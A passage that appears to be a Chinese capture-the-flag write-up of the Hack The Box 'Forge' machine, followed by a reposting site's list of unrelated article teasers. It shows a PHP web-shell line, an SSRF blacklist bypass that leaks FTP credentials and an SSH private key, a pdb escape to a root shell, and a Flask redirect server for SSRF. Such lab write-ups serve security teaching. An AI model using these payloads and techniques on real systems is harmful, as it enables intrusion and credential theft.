【Hack The Box】Linux练习-- Forge

news2024/11/30 4:55:51

HTB 学习笔记

【Hack The Box】Linux练习-- Forge


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 爆破域名
    • 80
        • 目录爆破
    • admin.forge.htb
    • 域名验证黑名单绕过
    • 关于ssrf的拓展

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap还注意到该站点返回重定向到 http://forge.htb.
所以我将添加到hosts

爆破域名

wfuzz -u http://10.10.11.111 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26

鉴于域名的使用,我将开始使用子域的蛮力运行 wfuzz. 这 -H "Host: FUZZ.forge.htb"选项将尝试使用不同的主机标头,我可以查找任何与默认大小写不匹配的标头。 我将在没有过滤的情况下启动它,以了解默认情况。 字符数根据子域的长度而变化,但字数有很多26的,所以我将使用 --hw 26: 根据响应报文字数进行隐藏(hide word)

唯一有趣的是 admin.forge.htb. 我会将域和子域都添加到 /etc/hosts.

80

在这里插入图片描述
可以上传图片
在这里插入图片描述
上传期间我上传了一个PHP文件,没有验证,并且可以有链接,只不过我点开了那个php文件,似乎并没有解析
对于这个现象,我抓包分析了一下

HTTP/1.1 200 OK
Date: Thu, 19 Aug 2021 22:30:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=28C0mwXLXZBu1BkVHClV
Content-Length: 44
Last-Modified: Thu, 19 Aug 2021 22:30:13 GMT
Cache-Control: no-cache
Connection: close
Content-Type: image/jpg

<?php echo shell_exec($_REQUEST["cmd"]); ?>

后门代码被当作文本传输,不被解析

于是我尝试第二个上传模式
在这里插入图片描述我将在本地开启一个python服务器,然后试图远程请求
看返回信息,一切正常
在这里插入图片描述而如果我们换成对80端口的监听nc,我们就会收到来自服务器的请求
是一个python2 服务器,具体版本不知道
但是比较常见的有python服务器有flask等一些
在这里插入图片描述

目录爆破

目录爆破没有任何结果

admin.forge.htb

网站提示只有localhost可以访问

看到这里,我们应该有所警示
在 SSRF 中,攻击者可能会导致服务器连接到仅限内部的服务。
也许我们应该使用ssrf攻击,并且仅限于连接到内部的网页并没有上一个靶场那样的302跳转,要是用ssrf,我们必须知道一些服务器的信息,我们目前猜测服务器是python2版本的某一种服务器,这不确定,为了防止我们掉进兔子洞,应该把这种盲猜的办法最后进行

现在大部分的精力应该放在如何利用url上传上
我将在url上传框输入刚才需要我们本地登陆的子域名(因为这是同一台服务器,所以能绕过本地的验证)
额,黑名单,看到这里其实心里更有谱了,此地无银三百两
所以我们把那个只允许内部访问的域名放到这里来上传,他就会把这个目录的内容上传,而这是我们curl访问完整的他给出的上传成功的目录,就可以间接地看到网站全貌
在这里插入图片描述

域名验证黑名单绕过

我们将admin.forge.htb全部换成大写去绕过
在这里插入图片描述
浏览器直接访问依旧是错误,我们用curl不带任何参数访问

<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>   

里面暴露出了一个新的目录
/announcements
再次上传
http://admin.forge.htb/announcements

<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html> 

在这里插入图片描述
获得了一组凭据

user:heightofsecurity123!

还告诉你了一种上传方法,并且支持从ftp上传
语法如下
?u=<url&gt
那目前的思路就是从他的ftp直接传出来,然后我们查看
但我说实话他给的这个方法真没看懂
最后实验出来了

http://ADMIN.FORGE.HTB/u?=ftp://user:heightofsecurity123!@127.0.0.1

我们同样利用curl来访问上传成功的路径
在这里插入图片描述
发现我们可以直接从ftp发现私钥,在枚举了snap文件夹之后,我决定尝试看能不能访问到私钥,因为一般来说user.txt都是在/home/user中,而.ssh也在这个文件夹中

接下来上传这个url

http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa

在这里插入图片描述复制到本id_rsa之后赋权600连接ssh

在这里插入图片描述第一件事永远都是
sudo -l

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

又是一个脚本文件
查看一下

!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

decode() != secretadminpassword
这是一个小程序,四个选项,可以查看日志,进程,还有跟你说拜拜
并且需要验证密码是否为上面的那个
检查文件,我们只能读,当然这是正常的

具体的信息我将执行一下这个程序
发现他显示监听这个随机端口
在这里插入图片描述再开一个ssh端口去nc这个服务

在这里插入图片描述当我输入错误的密码回立即断开
并且服务终止

在这里插入图片描述
我现在输入正确的密码,在接下来的选项中胡乱输入
看看能有啥问题

在这里插入图片描述
当我输入dashabi的时候,发现他进入了pdb的调试器
直接输入这个即可
gifio中可查询

import os;os.system(/bin/sh”)

在这里插入图片描述

关于ssrf的拓展

我知道这是一个 Python 脚本,它正在处理我的输入、做出过滤决定,然后使用 requests模块发出 HTTP 请求。 默认情况下,请求模块将遵循 HTTP 重定向,除非调用该函数 allow_redirects=False.

这是在我们发现nc端口接收到的web请求是来自一个python2服务器的时候知道的
由于如果我们输入的url是我们的本地一个文件,并且本地文件要重定向到黑名单,而这个时候url过滤器已经在第一次向我们发出请求的时候通过了,所以再重定向就不存在黑名单了

由于他是pythin2服务器,所以我假设他是flask

我将写一个flask服务器文件

#!/usr/bin/env python

from flask import Flask, redirect, request

app = Flask(__name__)

@app.route("/")
def admin():
    return redirect('http://admin.forge.htb/')


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=80)    

这个服务器会要求重定向到http://admin.forge.htb/
这里有点问题,我的flask服务器起不来了
如果有知道的大佬请指点
谢谢🙏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41309.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

队列(C语言实现)

文章目录&#xff1a;1.队列的概念2.队列的结构3.接口实现3.1初始化队列3.2判断队列是否为空3.3入队3.4出队3.5查看队头元素3.6查看队尾元素3.7统计队列数据个数3.8销毁队列1.队列的概念 队列&#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特…

jQuery插件【validate】国际化校验插件

jQuery插件系列 相信大家在网站上都遇到过这种注册的情况吧&#xff0c;有的时候我们什么也不输入点登录或者注册或者鼠标失去焦点的时候&#xff0c;就会自动提示xxx为空&#xff0c;密码不正确&#xff0c;请输入xxx等一系列的提示信息。 那么这是怎么实现的呢&#xff0c;其…

【LeetCode】No.101. Symmetric Tree -- Java Version

题目链接&#xff1a;https://leetcode.com/problems/symmetric-tree/ 1. 题目介绍&#xff08;Symmetric Tree&#xff09; Given the root of a binary tree, check whether it is a mirror of itself (i.e., symmetric around its center). 【Translate】&#xff1a; 给定…

QT实战项目1——无边框窗口拖拽和阴影

课时2 开发环境,无边框窗口拖拽和阴影_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV14t411b7EL?p2&vd_source0471cde1c644648fafd07b54e303c905 目录 一、设置无边框 和 鼠标可以拖动窗口 1.1 设置无边框 1.2 鼠标拖动 1.3 展示阴影 一、设置无边框 和 鼠标可…

设计模式-组合模式

组合模式一、学校院系展示需求二、传统方案解决学校院系展示三、组合模式基本介绍四、组合模式原理类图五、组合模式解决的问题六、使用组合模式解决院校展示问题6.1、类图6.2、代码一、学校院系展示需求 编写程序展示一个学校院系结构&#xff1a;需求是这样&#xff0c;要在…

SQL练习题

新建数据表 首先建立测试数据库的表&#xff0c;新建数据库的sql语句如下&#xff0c;大家可以粘贴成一个sql文件&#xff0c;然后新建所有的表并插入所有的数据&#xff1a; 新建数据库sql文件&#xff1a; DROP TABLE IF EXISTS EMP; DROP TABLE IF EXISTS DEPT; DROP TAB…

Unity UI锚点和位置关系

一、Anchors锚点 Anchors的设置会直接改变RectTransform中它的位置信息&#xff1b;Anchors设置中的X 改变会影响&#xff08;PosX和Width&#xff09;或&#xff08;left和right&#xff09; 1、Anchors改变位置信息 下图中X锚点的Min和Max值相同时&#xff0c;上面的一栏中…

Java调用命令行并返回打印的内容

博主在最近的工作中&#xff0c;收到了这样一个需求。 调用别人以前完成开发的 jar 包或 python 程序&#xff0c;并将原程序在命令行中输出的内容封装为 JSON 对象后通过 RESTFul 接口返回。 面对以上的需求&#xff0c;博主给出了以下解决方案。话不多说&#xff0c;上代码。…

Mathematica for Linux v13.1.0 科学计算软件多语言版

Wolfram Mathematica for Linux 中文正式版是一款强大的数学计算科学计算软件&#xff0c;MathWorks MATLAB 和 Wolfram Mathematica 、Maplesoft Maple 并称为三大数学软件&#xff0c;Wolfram Mathematica 中文正式版主要用于符号计算软件&#xff0c;也称为计算机代数系统&a…

MySQL如何恢复不小心误删的数据记录(binlog)

前言 题主于今天&#xff08;2022年11月27日&#xff09; 在线上环境误操作删除了记录&#xff0c;且没有备份数据&#xff0c;通宵排查事故原因&#xff0c;终于没有酿成生产事故。谨以此文记录。 参考资料 https://blog.csdn.net/qq_23543983/article/details/127298578 …

单源最短路径问题(Java)

单源最短路径问题&#xff08;Java&#xff09; 文章目录单源最短路径问题&#xff08;Java&#xff09;1、问题描述2、算法思路3、代码实现4、算法正确性和计算复杂性4.1 贪心选择性质4.2 最优子结构性质4.3 计算复杂性5、参考资料1、问题描述 给定带权有向图G(V,E),其中每条…

分布式电源接入对配电网的影响matlab程序(IEEE9节点系统算例)

分布式电源接入对配电网的影响matlab程序&#xff08;IEEE9节点系统算例&#xff09; 摘 要&#xff1a;分布式电源的接入使得配电系统从放射状无源网络变为分布有中小型电源的有源网络。带来了使单向流动的电流方向具有了不确定性等等问题&#xff0c;使得配电系统的控制和管…

Android反编译apk

文章目录安装Android Studio1. 解压apk文件方法一&#xff1a;使用apktool反编译&#xff08;得到的是.smali文件和可直接读的资源文件&#xff0c;如果要得到.dex文件&#xff0c;还要看方法二&#xff09;方法二&#xff1a;使用解压工具解压&#xff08;得到的是.dex文件和二…

SpringBoot项目集成Dubbo

1.环境搭建 为整合Dubbo之前&#xff0c;我们所写的项目都是单一应用架构&#xff0c;只需要一个应用&#xff0c;将所有功能都部署在一起&#xff0c;在应用内部是控制层调用业务层&#xff0c;业务层调用数据持久层&#xff1b;如今&#xff0c;整合Dubbo后&#xff0c;我们…

独立产品灵感周刊 DecoHack #039 - 制作自己的音乐墙

本周刊记录有趣好玩的独立产品设计开发相关内容&#xff0c;每周发布&#xff0c;往期内容同样精彩&#xff0c;感兴趣的伙伴可以点击订阅我的周刊。为保证每期都能收到&#xff0c;建议邮件订阅。欢迎通过 Twitter 私信推荐或投稿。自荐产品 1. planet-tab - 由独立开发者 ha…

【云原生】Docker的私有仓库部署——Harbor

内容预知 1.Docker原生私有仓库—— Registry 1.1 Registry的简单了解 1.2 Registry的部署过程 步骤一&#xff1a;拉取相关的镜像 步骤二&#xff1a;进行 Registry的相关yml文件配置&#xff08;docker-compose&#xff09; 步骤三&#xff1a;镜像的推送 2. Registry的…

SpringBoot SpringBoot 原理篇 2 自定义starter 2.6 拦截器开发

SpringBoot 【黑马程序员SpringBoot2全套视频教程&#xff0c;springboot零基础到项目实战&#xff08;spring boot2完整版&#xff09;】 SpringBoot 原理篇 文章目录SpringBootSpringBoot 原理篇2 自定义starter2.6 拦截器开发2.6.1 拦截器开发2.6.2 小结2 自定义starter …

2022年11月27日学习 SVM

SVM&#xff0c;英文全称为 Support Vector Machine&#xff0c;中文名为支持向量机 ​ SVM也是一种分类算法&#xff0c;它的核心思想用我自己的话来讲就是先找到两个类别中距离最近的几个点作为支持向量&#xff0c;然后计算超平面&#xff0c;超平面需要间隔最大化。然后用超…

【Hack The Box】linux练习-- Previse

HTB 学习笔记 【Hack The Box】linux练习-- Previse &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月27日&#x1f334; &#x1f…

Microsoft SQL Server中的错误配置

介绍 这篇文章将介绍如何利用Microsoft SQL Server中的错误配置&#xff0c;尝试获取反向shell并熟悉Impacket工具的使用&#xff0c;以便进一步攻击某些服务。 impacket的安装地址&#xff1a;https://github.com/SecureAuthCorp/impacket Impacket是用于处理网络协议的Pyt…